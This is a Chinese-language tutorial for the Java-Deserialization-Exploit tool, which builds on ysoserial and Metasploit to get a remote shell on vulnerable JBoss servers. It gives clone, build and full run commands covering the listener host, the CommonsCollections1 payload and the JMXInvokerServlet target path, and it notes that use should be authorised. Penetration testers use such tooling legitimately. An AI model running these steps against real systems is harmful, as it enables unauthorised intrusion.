Java Deserialization Exploit 项目教程

Java Deserialization Exploit 项目教程

Java-Deserialization-Exploit 项目地址: https://gitcode.com/gh_mirrors/ja/Java-Deserialization-Exploit

1、项目介绍

Java Deserialization Exploit 是一个基于 Chris Frohoff 的 ysoserial 工具开发的工具，旨在利用 Java 反序列化漏洞在易受攻击的 Linux 机器上获取远程 shell。该项目通过结合 Metasploit Framework 工具生成恶意二进制文件，并使用嵌入式 Web 服务器将 payload 传输到受害者端。目前，该项目仅支持在 Linux 架构上的 JBoss 平台进行利用。

项目地址: https://github.com/njfox/Java-Deserialization-Exploit

2、项目快速启动

2.1 环境准备

• 安装 Java 运行环境 (JRE)
• 安装 Maven
• 安装 Metasploit Framework
• 安装 msfvenom

2.2 克隆项目

git clone https://github.com/njfox/Java-Deserialization-Exploit.git
cd Java-Deserialization-Exploit

2.3 编译项目

mvn clean compile assembly:single

2.4 运行项目

java -jar target/JBossExploit-0.5.2-alpha-jar-with-dependencies.jar -lhost <攻击机IP> -lport <监听端口> -payload <payload类型> -rhost <目标IP> -rport <目标端口> -srvport <本地HTTP服务器端口> -uripath <目标资源URI>

示例:

java -jar target/JBossExploit-0.5.2-alpha-jar-with-dependencies.jar -lhost 192.168.1.100 -lport 4444 -payload CommonsCollections1 -rhost 192.168.1.200 -rport 8080 -srvport 8000 -uripath /invoker/JMXInvokerServlet

3、应用案例和最佳实践

3.1 应用案例

假设你发现一个运行在 JBoss 上的 Web 应用存在 Java 反序列化漏洞，你可以使用该工具生成一个恶意 payload，并通过反序列化漏洞在目标服务器上执行该 payload，从而获取远程 shell。

3.2 最佳实践

• 安全测试: 仅在授权的环境中使用该工具进行安全测试。
• 更新依赖: 定期更新项目依赖，确保使用最新的安全补丁。
• 日志记录: 在测试过程中记录所有操作，以便后续分析和报告。

4、典型生态项目

• ysoserial: 该项目的基础工具，用于生成各种反序列化 payload。
• Metasploit Framework: 用于生成和监听恶意 payload。
• JBoss: 该项目主要针对的漏洞平台。

通过以上步骤，你可以快速上手并使用 Java Deserialization Exploit 项目进行安全测试和漏洞利用。请务必在合法和授权的环境中使用该工具。

Java-Deserialization-Exploit 项目地址: https://gitcode.com/gh_mirrors/ja/Java-Deserialization-Exploit